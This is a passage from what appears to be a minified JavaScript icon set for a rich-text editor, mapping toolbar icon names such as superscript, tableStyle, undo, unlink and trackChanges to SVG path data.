c-0.13438,0.17465-0.27767,0.34226-0.42929,0.50217l-2.15634,2.35315V21H21v-1.326H18.31234z",superscript:"M10.4,12,14,15.6,12.6,17,9,13.4,5.4,17,4,15.6,7.6,12,4,8.4,5.4,7,9,10.6,12.6,7,14,8.4Zm8.91234-3.326,1.06812-1.1465c.196-.20141.37093-.40739.5368-.6088a4.85745,4.85745,0,0,0,.432-.617,3.29,3.29,0,0,0,.29255-.6334,2.11079,2.11079,0,0,0,.10662-.66621,2.16127,2.16127,0,0,0-.1531-.82206,1.7154,1.7154,0,0,0-.45022-.6416,2.03,2.03,0,0,0-.72089-.40646,3.17085,3.17085,0,0,0-1.94851.04465,2.14555,2.14555,0,0,0-.76372.49487,2.07379,2.07379,0,0,0-.47483.73548,2.446,2.446,0,0,0-.15585.833l-.00364.237H18.617L18.62338,5.25a1.45865,1.45865,0,0,1,.05377-.37458.89552.89552,0,0,1,.15679-.29437.70083.70083,0,0,1,.25882-.1841,1.00569,1.00569,0,0,1,.7018-.01458.62014.62014,0,0,1,.21509.15679.74752.74752,0,0,1,.13761.24333,1.08893,1.08893,0,0,1,.05469.33538,1.25556,1.25556,0,0,1-.0319.26612,1.34227,1.34227,0,0,1-.124.29893,2.94367,2.94367,0,0,1-.26338.38823,6.41629,6.41629,0,0,1-.42929.50217L17.19709,8.92642V10H22V8.674Z",symbols:"M15.77493,16.98885a8.21343,8.21343,0,0,0,1.96753-2.57651,7.34824,7.34824,0,0,0,.6034-3.07618A6.09092,6.09092,0,0,0,11.99515,5a6.13347,6.13347,0,0,0-4.585,1.79187,6.417,6.417,0,0,0-1.756,4.69207,6.93955,6.93955,0,0,0,.622,2.97415,8.06587,8.06587,0,0,0,1.949,2.53076H5.41452V19h5.54114v-.04331h-.00147V16.84107a5.82825,5.82825,0,0,1-2.2052-2.2352A6.40513,6.40513,0,0,1,7.97672,11.447,4.68548,4.68548,0,0,1,9.07785,8.19191a3.73232,3.73232,0,0,1,2.9173-1.22462,3.76839,3.76839,0,0,1,2.91241,1.21489,4.482,4.482,0,0,1,1.11572,3.154,6.71141,6.71141,0,0,1-.75384,3.24732,5.83562,5.83562,0,0,1-2.22357,2.25759v2.11562H13.0444V19h5.54108V16.98885Z",tags:"M8.9749 7.47489a1.5 1.5 0 1 1 -1.5 1.5A1.5 1.5 0 0 1 8.9749 7.47489Zm3.78866 -3.12713L16.5362 8.12041l0.33565 0.33564 2.77038 2.77038a2.01988 2.01988 0 0 1 0.59 1.42 1.95518 1.95518 0 0 1 -0.5854 1.40455l0.00044 0.00043 -5.59583 5.59583 -0.00043 -0.00044a1.95518 1.95518 0 0 1 -1.40455 0.5854 1.98762 1.98762 0 0 1 -1.41 -0.58L8.45605 16.87185l-0.33564 -0.33565L4.35777 12.77357a1.99576 1.99576 0 0 1 -0.59 -1.42V9.36358l0 -3.59582a2.00579 2.00579 0 0 1 2 -2l3.59582 0h1.98995A1.98762 1.98762 0 0 1 12.76356 4.34776ZM15.46186 9.866l-0.33564 -0.33564L11.36359 5.76776H5.76776v5.59583L9.866 15.46186l2.7794 2.7794 5.5878 -5.60385 -0.001 -0.001Z",tableHeader:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.4 l0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M14.5,17.5h-5V15h5V17.5z M14.5,13.5h-5v-3h5V13.5z M20.5,17c0,0.3-0.2,0.5-0.4,0.5l0,0 H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9h-4.4H16h-1.5h-5H8H7.9H3.5V7c0-0.3,0.2-0.5,0.4-0.5l0,0h4l0,0h8.2l0,0H20 c0.3,0,0.5,0.2,0.5,0.4l0,0V9z",tableFooter:"M20,19H4a2.006,2.006,0,0,1-2-2V7A2.006,2.006,0,0,1,4,5H20a2.006,2.006,0,0,1,2,2V17A2.006,2.006,0,0,1,20,19ZM8,6.5H4a.458.458,0,0,0-.5.4h0V9H8Zm0,4H3.5v3H8Zm6.5-4h-5V9h5Zm0,4h-5v3h5Zm6-3.5a.458.458,0,0,0-.4-.5H16V9h4.5Zm0,3.5H16v3h4.5Zm0,4.5H3.5v2a.458.458,0,0,0,.4.5H20a.458.458,0,0,0,.5-.4h0Z",tableStyle:"M20.0171,19.89752l.9,3.6-3.2-1.9-3.3,1.9.8-3.6-2.9-2.9h3.8l1.7-3.5,1.4,3.5h3.8ZM20,5H4A2.00591,2.00591,0,0,0,2,7V17a2.00591,2.00591,0,0,0,2,2h7.49115l-.58826-.58826L9.99115,17.5H9.5V14.9975h5.36511L16,12.66089V10.5h4.5v3h-.52783l.599,1.4975H22V7A2.00591,2.00591,0,0,0,20,5ZM3.5,7A.4724.4724,0,0,1,4,6.5H8V9H3.5Zm0,3.5H8v3H3.5Zm.5,7a.4724.4724,0,0,1-.5-.5V15H8v2.5Zm10.5-4h-5v-3h5Zm0-4.5h-5V6.5h5Zm6,0H16V6.5h4a.4724.4724,0,0,1,.5.5Z",textColor:"M15.2,13.494s-3.6,3.9-3.6,6.3a3.65,3.65,0,0,0,7.3.1v-.1C18.9,17.394,15.2,13.494,15.2,13.494Zm-1.47-1.357.669-.724L12.1,5h-2l-5,14h2l1.43-4h2.943A24.426,24.426,0,0,1,13.726,12.137ZM11.1,7.8l1.86,5.2H9.244Z",textMore:"M13.55,19h2l-5-14h-2l-5,14h2l1.4-4h5.1Zm-5.9-6,1.9-5.2,1.9,5.2Zm12.8,4.5a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.45,17.5Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.45,13.5Zm0-4A1.5,1.5,0,1,1,18.95,8,1.5,1.5,0,0,1,20.45,9.5Z",underline:"M19,20v2H5V20Zm-3-6.785a4,4,0,0,1-5.74,3.4A3.75,3.75,0,0,1,8,13.085V5.005H6v8.21a6,6,0,0,0,8,5.44,5.851,5.851,0,0,0,4-5.65v-8H16ZM16,5v0h2V5ZM8,5H6v0H8Z",undo:"M10.4,9.4c-1.7,0.3-3.2,0.9-4.6,2L3,8.5v7h7l-2.7-2.7c3.7-2.6,8.8-1.8,11.5,1.9c0.2,0.3,0.4,0.5,0.5,0.8l1.8-0.9 C18.9,10.8,14.7,8.7,10.4,9.4z",unlink:"M14.4,11l1.6,1.6V11H14.4z M17,7h-4v1.9h4c1.7,0,3.1,1.4,3.1,3.1c0,1.3-0.8,2.4-1.9,2.8l1.4,1.4C21,15.4,22,13.8,22,12 C22,9.2,19.8,7,17,7z M2,4.3l3.1,3.1C3.3,8.1,2,9.9,2,12c0,2.8,2.2,5,5,5h4v-1.9H7c-1.7,0-3.1-1.4-3.1-3.1c0-1.6,1.2-2.9,2.8-3.1 L8.7,11H8v2h2.7l2.3,2.3V17h1.7l4,4l1.4-1.4L3.4,2.9L2,4.3z",unorderedList:"M4,10.5c-0.8,0-1.5,0.7-1.5,1.5s0.7,1.5,1.5,1.5s1.5-0.7,1.5-1.5S4.8,10.5,4,10.5z M4,5.5C3.2,5.5,2.5,6.2,2.5,7 S3.2,8.5,4,8.5S5.5,7.8,5.5,7S4.8,5.5,4,5.5z M4,15.5c-0.8,0-1.5,0.7-1.5,1.5s0.7,1.5,1.5,1.5s1.5-0.7,1.5-1.5S4.8,15.5,4,15.5z M7.5,6v2h14V6H7.5z M7.5,18h14v-2h-14V18z M7.5,13h14v-2h-14V13z",verticalAlignBottom:"M16,13h-3V3h-2v10H8l4,4L16,13z M3,19v2h18v-2H3z",verticalAlignMiddle:"M3,11v2h18v-2H3z M8,18h3v3h2v-3h3l-4-4L8,18z M16,6h-3V3h-2v3H8l4,4L16,6z",verticalAlignTop:"M8,11h3v10h2V11h3l-4-4L8,11z M21,5V3H3v2H21z",filestackIconAdd:"M21 16.75 16.985 21v-4.25H21ZM7.154 12.5c2.294 0 4.154 1.902 4.154 4.25S9.448 21 7.154 21C4.86 21 3 19.097 3 16.75s1.86-4.25 4.154-4.25Zm8.862 6.8V21H10.24a5.283 5.283 0 0 0 1.441-1.7h4.334ZM7.46 14.093h-.614a.215.215 0 0 0-.212.218v1.907H4.77a.215.215 0 0 0-.212.218v.628c0 .12.094.217.212.217h1.865v1.908c0 .12.095.217.212.217h.614a.214.214 0 0 0 .212-.217V17.28h1.865a.214.214 0 0 0 .212-.217v-.628a.215.215 0 0 0-.212-.218H7.673v-1.907a.215.215 0 0 0-.212-.218Zm5.647-.035v1.558h-.886a5.324 5.324 0 0 0-.615-1.558h1.501ZM21 4v11.616h-1.522V5.559H8.538v6.094a5.018 5.018 0 0 0-1.384-.216V4H21Zm-5.4 7.366v1.559h-4.015v-1.559h4.016Zm.97-2.691v1.559h-4.985v-1.56h4.985Z",trackChanges:"M17.2 20H12.4599L13.9938 19.2076L14.0305 19.1886L14.0616 19.1612C14.1036 19.1242 14.1373 19.0786 14.1603 19.0275C14.1806 18.9825 14.1923 18.9342 14.1948 18.885H14.2H14.3384L14.4364 18.7874L14.7049 18.52H15.45C15.5747 18.52 15.6942 18.4705 15.7823 18.3823C15.8705 18.2942 15.92 18.1746 15.92 18.05C15.92 17.9253 15.8705 17.8058 15.7823 17.7176C15.7351 17.6704 15.6789 17.6343 15.6177 17.6109L17.33 15.9056V19.87C17.33 19.8871 17.3266 19.904 17.3201 19.9197C17.3136 19.9355 17.304 19.9499 17.2919 19.9619C17.2799 19.974 17.2655 19.9836 17.2497 19.9901C17.234 19.9966 17.2171 20 17.2 20ZM4.13 20H11.2508C11.2396 19.9629 11.2337 19.9242 11.2337 19.885C11.2337 19.8133 11.2533 19.7431 11.29 19.6819L11.2739 19.6734L11.8838 18.52H5C4.87535 18.52 4.7558 18.4705 4.66766 18.3823C4.57952 18.2942 4.53 18.1746 4.53 18.05C4.53 17.9253 4.57952 17.8058 4.66766 17.7176C4.7558 17.6295 4.87535 17.58 5 17.58H12.3809L12.3925 17.5582L12.4187 17.5284C12.4558 17.4864 12.5014 17.4527 12.5525 17.4297C12.5836 17.4156 12.6163 17.4057 12.6498 17.4001C12.6522 17.3065 12.6877 17.2166 12.7503 17.1467L13 17.37C12.9902 17.381 12.9847 17.3952 12.9847 17.41C12.9847 17.4247 12.9902 17.439 13 17.45L14.13 18.55H14.2L19.09 13.68V13.6L17.99 12.5C17.979 12.4902 17.9647 12.4847 17.95 12.4847C17.9352 12.4847 17.921 12.4902 17.91 12.5L13 17.37L12.7641 17.1322L15.1759 14.74H5C4.87535 14.74 4.7558 14.6905 4.66766 14.6023C4.57952 14.5142 4.53 14.3946 4.53 14.27C4.53 14.1453 4.57952 14.0258 4.66766 13.9376C4.7558 13.8495 4.87535 13.8 5 13.8H15.45C15.5747 13.8 15.6942 13.8495 15.7823 13.9376C15.8169 13.9722 15.8454 14.0115 15.8675 14.0541L17.33 12.6034V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20ZM11.7889 20H11.8785C11.8902 19.9746 11.898 19.9475 11.9015 19.9197L11.8661 19.9866L11.8117 19.9578L13.84 18.91C13.8464 18.9044 13.8515 18.8974 13.855 18.8897C13.8585 18.8819 13.8603 18.8735 13.8603 18.865C13.8603 18.8565 13.8585 18.8481 13.855 18.8403C13.8515 18.8325 13.8464 18.8256 13.84 18.82L12.76 17.75C12.7544 17.7436 12.7474 17.7385 12.7397 17.735C12.7319 17.7315 12.7235 17.7297 12.715 17.7297C12.7065 17.7297 12.6981 17.7315 12.6903 17.735C12.6825 17.7385 12.6756 17.7436 12.67 17.75L11.57 19.83L11.5023 19.7942L11.58 19.85C11.5727 19.8602 11.5687 19.8724 11.5687 19.885C11.5687 19.8975 11.5727 19.9098 11.58 19.92L11.67 20H11.73L11.7642 19.9823L11.7889 20ZM13.1 4.65L16.6 8.15C16.6212 8.17232 16.6355 8.20028 16.6412 8.23051C16.6469 8.26075 16.6437 8.29199 16.6321 8.32048C16.6205 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5207 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8312 4.72925 12.8412 4.6995 12.8588 4.67429C12.8765 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9893 4.60315 13.0195 4.60884C13.0497 4.61453 13.0777 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60183 10.9735 6.54621C10.9534 6.49058 10.9224 6.43948 10.8825 6.39582C10.8425 6.35216 10.7944 6.31681 10.7408 6.29179C10.6871 6.26677 10.6291 6.25257 10.57 6.25H5C4.88239 6.25773 4.77251 6.3113 4.69397 6.39918C4.61543 6.48707 4.57451 6.60226 4.58 6.72C4.57451 6.83774 4.61543 6.95293 4.69397 7.04082C4.77251 7.12871 4.88239 7.18227 5 7.19H10.6C10.714 7.1774 10.8189 7.12173 10.8933 7.03438C10.9676 6.94702 11.0058 6.83457 11 6.72ZM11.1 8.14001H5C4.87535 8.14001 4.7558 8.18953 4.66766 8.27767C4.57952 8.36582 4.53 8.48536 4.53 8.61001C4.53 8.73467 4.57952 8.85421 4.66766 8.94236C4.7558 9.0305 4.87535 9.08001 5 9.08001H11.1C11.2247 9.08001 11.3442 9.0305 11.4323 8.94236C11.5205 8.85421 11.57 8.73467 11.57 8.61001C11.57 8.48536 11.5205 8.36582 11.4323 8.27767C11.3442 8.18953 11.2247 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8036 10.8536C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8036 10.1464C15.7098 10.0527 15.5826 10 15.45 10H5C4.86739 10 4.74021 10.0527 4.64645 10.1464C4.55268 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55268 10.7598 4.64645 10.8536C4.74021 10.9473 4.86739 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4986 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.4159 12.0552C11.3337 11.9673 11.2202 11.9152 11.1 11.91H5C4.94089 11.9126 4.88286 11.9268 4.82924 11.9518C4.77562 11.9768 4.72746 12.0122 4.68752 12.0558C4.64758 12.0995 4.61664 12.1506 4.59648 12.2062C4.57631 12.2618 4.56731 12.3209 4.57 12.38C4.56451 12.5004 4.60649 12.6181 4.6869 12.7079C4.76731 12.7976 4.87974 12.8523 5 12.86ZM11.1 16.63H5C4.87535 16.63 4.7558 16.5805 4.66766 16.4923C4.57952 16.4042 4.53 16.2846 4.53 16.16C4.53 16.0353 4.57952 15.9158 4.66766 15.8276C4.7558 15.7395 4.87535 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4323 15.8276C11.5205 15.9158 11.57 16.0353 11.57 16.16C11.57 16.2846 11.5205 16.4042 11.4323 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM18.8503 11.592C18.7991 11.6175 18.7545 11.6544 18.72 11.7L18.26 12.14C18.2501 12.151 18.2447 12.1652 18.2447 12.18C18.2447 12.1947 18.2501 12.209 18.26 12.22L19.37 13.32C19.381 13.3298 19.3952 13.3353 19.41 13.3353C19.4247 13.3353 19.439 13.3298 19.45 13.32L19.86 12.91C19.9057 12.867 19.9421 12.8151 19.967 12.7575C19.9919 12.6998 20.0047 12.6377 20.0047 12.575C20.0047 12.5122 19.9919 12.4501 19.967 12.3925C19.9421 12.3349 19.9057 12.283 19.86 12.24L19.31 11.7C19.2755 11.6544 19.2309 11.6175 19.1797 11.592C19.1285 11.5666 19.0721 11.5533 19.015 11.5533C18.9578 11.5533 18.9014 11.5666 18.8503 11.592Z",showTrackChanges:"M17.2421 13.6048C17.2631 13.6136 17.2841 13.6226 17.305 13.6317V9.29505H13.2626C13.1897 9.30481 13.1159 9.30481 13.043 9.29505C12.7532 9.21632 12.4953 9.04872 12.3056 8.81577C12.1158 8.58283 12.0037 8.29625 11.985 7.99627V4H4.12976C4.09534 4 4.06234 4.01368 4.038 4.03804C4.01367 4.0624 4 4.09543 4 4.12988V19.8552C4 19.8896 4.01367 19.9227 4.038 19.947C4.06234 19.9714 4.09534 19.9851 4.12976 19.9851H13.4875C13.0501 19.8216 12.6281 19.6155 12.2277 19.3686C11.8529 19.1551 11.4911 18.9196 11.1442 18.6632C11.0697 18.6152 10.9982 18.5628 10.9302 18.5065H4.99812C4.87371 18.5065 4.75438 18.457 4.66641 18.3689C4.57843 18.2809 4.529 18.1614 4.529 18.0369C4.529 17.9124 4.57843 17.7929 4.66641 17.7049C4.75438 17.6168 4.87371 17.5673 4.99812 17.5673H10.4396C10.4472 17.4488 10.4756 17.3324 10.5235 17.2235C10.5939 17.017 10.6761 16.8149 10.7694 16.6182H4.99812C4.87371 16.6182 4.75438 16.5687 4.66641 16.4807C4.57843 16.3926 4.529 16.2732 4.529 16.1487C4.529 16.0241 4.57843 15.9047 4.66641 15.8166C4.75438 15.7286 4.87371 15.6791 4.99812 15.6791H11.0867C11.1576 15.6791 11.2268 15.6952 11.2895 15.7253C11.5204 15.361 11.7938 15.027 12.1033 14.73H4.99812C4.87371 14.73 4.75438 14.6805 4.66641 14.5924C4.57843 14.5044 4.529 14.385 4.529 14.2604C4.529 14.1359 4.57843 14.0164 4.66641 13.9284C4.75438 13.8403 4.87371 13.7909 4.99812 13.7909H13.4434C13.9833 13.525 14.5656 13.3516 15.166 13.2795L15.1923 13.2763H15.2189H15.4925C16.0923 13.2609 16.6886 13.3728 17.2421 13.6048ZM13.0829 4.64939L16.5764 8.14613C16.5975 8.16843 16.6118 8.19636 16.6174 8.22657C16.6231 8.25677 16.62 8.28798 16.6084 8.31645C16.5968 8.34492 16.5773 8.36944 16.5521 8.38707C16.527 8.40471 16.4973 8.41471 16.4666 8.41587H13.043L12.8134 8.18609V4.75929C12.8146 4.72857 12.8246 4.69884 12.8422 4.67366C12.8598 4.64849 12.8843 4.62893 12.9128 4.61733C12.9412 4.60573 12.9724 4.60259 13.0026 4.60827C13.0328 4.61396 13.0607 4.62824 13.0829 4.64939ZM10.9869 6.71746C10.9896 6.65841 10.9806 6.59941 10.9604 6.54383C10.9403 6.48825 10.9094 6.4372 10.8696 6.39358C10.8297 6.34997 10.7816 6.31465 10.7281 6.28965C10.6746 6.26466 10.6167 6.25047 10.5577 6.2479H4.99813C4.88074 6.25562 4.77106 6.30914 4.69267 6.39694C4.61428 6.48475 4.57343 6.59983 4.57891 6.71746C4.57343 6.83509 4.61428 6.95017 4.69267 7.03798C4.77106 7.12579 4.88074 7.1793 4.99813 7.18702H10.5876C10.7014 7.17444 10.8061 7.11882 10.8803 7.03154C10.9545 6.94427 10.9927 6.83192 10.9869 6.71746ZM11.0867 8.13614H4.99812C4.87371 8.13614 4.75438 8.18561 4.66641 8.27367C4.57843 8.36173 4.529 8.48116 4.529 8.6057C4.529 8.73023 4.57843 8.84967 4.66641 8.93773C4.75438 9.02579 4.87371 9.07526 4.99812 9.07526H11.0867C11.2111 9.07526 11.3304 9.02579 11.4184 8.93773C11.5064 8.84967 11.5558 8.73023 11.5558 8.6057C11.5558 8.48116 11.5064 8.36173 11.4184 8.27367C11.3304 8.18561 11.2111 8.13614 11.0867 8.13614ZM4.99812 10.9935H15.4285C15.5609 10.9935 15.6878 10.9408 15.7814 10.8472C15.875 10.7535 15.9276 10.6264 15.9276 10.4939C15.9276 10.3614 15.875 10.2344 15.7814 10.1407C15.6878 10.047 15.5609 9.9944 15.4285 9.9944H4.99812C4.86576 9.9944 4.73883 10.047 4.64523 10.1407C4.55164 10.2344 4.49906 10.3614 4.49906 10.4939C4.49906 10.6264 4.55164 10.7535 4.64523 10.8472C4.73883 10.9408 4.86576 10.9935 4.99812 10.9935ZM4.99812 12.8517H11.0867C11.2076 12.844 11.3208 12.7898 11.4027 12.7004C11.4845 12.611 11.5287 12.4934 11.5259 12.3722C11.5286 12.252 11.4841 12.1355 11.402 12.0477C11.3199 11.9599 11.2067 11.9078 11.0867 11.9026H4.99812C4.93912 11.9052 4.8812 11.9194 4.82769 11.9444C4.77417 11.9694 4.7261 12.0047 4.68623 12.0483C4.64637 12.0919 4.61549 12.143 4.59536 12.1985C4.57523 12.2541 4.56625 12.3131 4.56893 12.3722C4.56345 12.4925 4.60535 12.6101 4.68561 12.6998C4.76587 12.7894 4.87809 12.844 4.99812 12.8517ZM19.97 17.4974C19.5787 16.5636 19.0431 15.6971 18.383 14.9298C18.0152 14.5351 17.5679 14.2233 17.0706 14.0148C16.5732 13.8064 16.0373 13.7062 15.4984 13.7209H15.2189C14.4787 13.8098 13.7684 14.0666 13.1423 14.4717C12.5162 14.8769 11.9906 15.4196 11.6057 16.0587C11.3211 16.4677 11.0959 16.9151 10.937 17.3875C10.9006 17.464 10.8817 17.5476 10.8817 17.6323C10.8817 17.717 10.9006 17.8006 10.937 17.877C11.0642 18.0428 11.2196 18.1849 11.3961 18.2967C11.7346 18.5476 12.0879 18.7778 12.4541 18.986C13.4096 19.5767 14.497 19.92 15.6182 19.9851C16.4392 20.0504 17.2632 19.9005 18.0088 19.5501C18.7544 19.1998 19.3959 18.661 19.8702 17.9869C19.9311 17.923 19.9729 17.8432 19.9905 17.7566C20.0082 17.67 20.0011 17.5801 19.97 17.4974ZM15.9775 19.1758C14.3849 19.068 12.8507 18.5331 11.5358 17.6273C11.5788 17.5678 11.6255 17.5111 11.6756 17.4574C12.3061 16.569 13.1295 15.8359 14.0832 15.3126C13.8003 15.7406 13.6785 16.2566 13.7417 16.7681C13.7676 17.0339 13.8465 17.2918 13.9737 17.5265C14.1009 17.7613 14.2739 17.9681 14.4823 18.1348C14.6907 18.3016 14.9304 18.4248 15.1872 18.4972C15.4441 18.5696 15.7128 18.5897 15.9775 18.5564C16.305 18.4971 16.6137 18.3609 16.8785 18.159C17.1432 17.9572 17.3564 17.6954 17.5005 17.3951C17.6446 17.0949 17.7156 16.7647 17.7077 16.4317C17.6997 16.0987 17.613 15.7723 17.4547 15.4793C17.2614 15.3391 17.0533 15.2235 16.8351 15.1339C17.0715 15.226 17.2966 15.3485 17.5046 15.4993C18.0049 15.8976 18.4424 16.3691 18.8022 16.898L18.8927 17.0137L18.8927 17.0137C19.0823 17.2564 19.2729 17.5004 19.4709 17.7072C18.5404 18.6311 17.288 19.1576 15.9775 19.1758ZM16.3168 15.769C16.2085 15.8106 16.1171 15.8873 16.0574 15.9869C15.9977 16.0865 15.9731 16.2032 15.9875 16.3185C15.9949 16.3856 16.0156 16.4505 16.0483 16.5096C16.081 16.5686 16.1251 16.6206 16.178 16.6624C16.2309 16.7042 16.2916 16.7351 16.3566 16.7532C16.4216 16.7714 16.4895 16.7764 16.5564 16.7681H16.6063C16.5618 16.9495 16.4637 17.1132 16.3248 17.238C16.186 17.3627 16.0127 17.4427 15.8278 17.4674H15.6481C15.4335 17.4396 15.2337 17.3427 15.0789 17.1913C14.924 17.04 14.8226 16.8423 14.7897 16.6282C14.7628 16.3782 14.8311 16.1271 14.981 15.9253C15.1305 15.7238 15.3504 15.5861 15.5968 15.5395C15.3446 15.5862 15.12 15.7284 14.9697 15.9364C14.8191 16.1448 14.7547 16.4034 14.7897 16.6582C14.8226 16.8723 14.924 17.0699 15.0789 17.2213C15.2337 17.3727 15.4335 17.4696 15.6481 17.4974H15.8377C16.0209 17.4708 16.1919 17.39 16.3289 17.2654C16.4658 17.1408 16.5625 16.978 16.6063 16.7981C16.7293 16.7633 16.8359 16.686 16.9072 16.5799C16.9785 16.4737 17.0098 16.3457 16.9956 16.2186C16.9882 16.1515 16.9675 16.0865 16.9348 16.0275C16.9021 15.9685 16.858 15.9165 16.805 15.8747C16.7521 15.8329 16.6914 15.802 16.6264 15.7838C16.5615 15.7657 16.4936 15.7607 16.4266 15.769H16.3168Z",acceptAllChanges:"M9.36499 16.7348C9.38499 16.7547 9.41212 16.7659 9.44041 16.7659H10.9881C10.9028 16.6008 10.9289 16.3933 11.0663 16.2541L11.7266 15.585H10.1444C10.0549 15.5701 9.97363 15.5238 9.91498 15.4547C9.85639 15.3856 9.82422 15.298 9.82422 15.2074C9.82422 15.1169 9.85639 15.0292 9.91498 14.9601C9.97363 14.891 10.0549 14.8448 10.1444 14.8298H12.4879C12.5584 14.785 12.6407 14.7607 12.7257 14.7607C12.8106 14.7607 12.893 14.785 12.9635 14.8298H16.5295L18.3303 13.0091C18.4135 12.925 18.5271 12.8776 18.6456 12.8777C18.7642 12.8777 18.8777 12.9252 18.9609 13.0094L20 14.0621V8.25532H16.8001C16.7301 8.27288 16.6568 8.27288 16.5868 8.25532C16.3485 8.1935 16.1367 8.0565 15.9829 7.86478C15.8292 7.67306 15.7416 7.43688 15.7335 7.19149V4H9.44041C9.41293 4.0024 9.38718 4.01437 9.36767 4.03383C9.34816 4.05329 9.33615 4.07897 9.33375 4.10638V16.6596C9.33375 16.6878 9.34499 16.7148 9.36499 16.7348ZM10.0744 17.2979H11.4803L12.259 18.0957H5.06727C5.01734 18.0957 4.96838 18.1057 4.9232 18.1246C4.8788 18.1431 4.83798 18.1702 4.80335 18.2048C4.7333 18.2746 4.69398 18.3693 4.69398 18.468C4.69398 18.5668 4.7333 18.6615 4.80335 18.7313C4.87333 18.8011 4.96832 18.8404 5.06727 18.8404H12.9857L13.7947 19.6693L14.0836 19.9574H4.10733C4.09291 19.9591 4.07829 19.9576 4.06457 19.9528C4.05085 19.9481 4.03838 19.9403 4.02812 19.9301C4.01785 19.9198 4.01004 19.9074 4.00529 19.8937C4.00054 19.88 3.99896 19.8654 4.00067 19.8511V7.29787C4.00067 7.26966 4.01191 7.2426 4.03191 7.22265C4.05192 7.2027 4.07905 7.19149 4.10733 7.19149H8.70447V9.05319H5.06727C4.97294 9.05867 4.88453 9.10069 4.8208 9.17019C4.757 9.23973 4.72302 9.33135 4.72594 9.42553C4.72289 9.52082 4.75654 9.61364 4.82002 9.6849C4.88356 9.75613 4.97203 9.80038 5.06727 9.8085H8.70447V10.5638H5.06727C5.01968 10.5652 4.97274 10.5759 4.92932 10.5954C4.88583 10.6148 4.84664 10.6426 4.8139 10.6772C4.78122 10.7118 4.7557 10.7525 4.73877 10.7969C4.72184 10.8413 4.7139 10.8887 4.71527 10.9361C4.7139 10.9837 4.72184 11.031 4.73877 11.0754C4.74424 11.0897 4.75055 11.1037 4.75778 11.1171C4.76162 11.1243 4.76566 11.1313 4.76995 11.1382C4.78265 11.1585 4.79736 11.1776 4.8139 11.1951C4.84664 11.2297 4.88583 11.2575 4.92932 11.2769C4.95491 11.2884 4.98173 11.2968 5.0092 11.3021C5.02834 11.3058 5.04774 11.3079 5.06727 11.3085H8.70447V12.0638H5.06734C4.97782 12.0789 4.89651 12.1251 4.83792 12.1942C4.77926 12.2633 4.7471 12.351 4.7471 12.4415C4.7471 12.5321 4.77926 12.6197 4.83792 12.6888C4.89651 12.758 4.97782 12.8041 5.06734 12.8192H8.70447V13.5745H5.06734C4.97782 13.5895 4.89651 13.6357 4.83792 13.7048C4.81383 13.7332 4.79424 13.7647 4.77946 13.7983C4.7583 13.8465 4.7471 13.8988 4.7471 13.9522C4.7471 14.0427 4.77926 14.1303 4.83792 14.1994C4.89651 14.2686 4.97782 14.3147 5.06734 14.3298H8.70447V15.0744H5.06727C4.97776 15.0895 4.89651 15.1357 4.83785 15.2048C4.77926 15.2739 4.7471 15.3616 4.7471 15.4521C4.7471 15.5043 4.75778 15.5556 4.77809 15.6029C4.793 15.6376 4.81305 15.6701 4.83785 15.6994C4.89651 15.7685 4.97776 15.8147 5.06727 15.8298H8.70447V16.5851H5.06727C4.97776 16.6001 4.89651 16.6463 4.83785 16.7154C4.79489 16.7661 4.76618 16.8267 4.75387 16.8912C4.74938 16.9146 4.7471 16.9386 4.7471 16.9628C4.7471 17.0533 4.77926 17.1409 4.83785 17.21C4.89651 17.2792 4.97776 17.3253 5.06727 17.3404H9.95241C9.99552 17.3331 10.0367 17.3187 10.0744 17.2979ZM20 15.3204L18.5709 16.7659H19.8933C19.9216 16.7659 19.9487 16.7547 19.9687 16.7348C19.9887 16.7148 20 16.6878 20 16.6596V15.3204ZM14.7526 16.6264L13.7248 15.585H15.7825L14.7526 16.6264ZM14.9498 6.08721C14.9465 6.06854 14.9416 6.05023 14.9353 6.03244C14.9202 5.98939 14.897 5.94929 14.8665 5.91442C14.8145 5.85488 14.7444 5.81394 14.6669 5.79787H10.1337C10.0348 5.79787 9.93978 5.83709 9.8698 5.90693C9.79975 5.97676 9.76043 6.07146 9.76043 6.17022C9.76043 6.19463 9.76283 6.21879 9.76752 6.24239C9.77462 6.2782 9.78692 6.31268 9.80398 6.34479C9.82123 6.37716 9.8433 6.40709 9.8698 6.43348C9.93978 6.50332 10.0348 6.54257 10.1337 6.54257H14.6669C14.6811 6.54023 14.6951 6.53702 14.7088 6.53299C14.7206 6.52955 14.7322 6.52549 14.7436 6.52082C14.7624 6.51309 14.7806 6.50371 14.7979 6.4928C14.8378 6.46764 14.8722 6.43468 14.8991 6.39599C14.9259 6.35729 14.9447 6.31359 14.9543 6.26749C14.9554 6.26232 14.9563 6.25716 14.9571 6.25197C14.9579 6.24739 14.9586 6.24281 14.9591 6.23824C14.9612 6.22129 14.962 6.20424 14.9616 6.18723C14.961 6.16727 14.9588 6.14733 14.9549 6.12766C14.9539 6.11406 14.9523 6.10055 14.9498 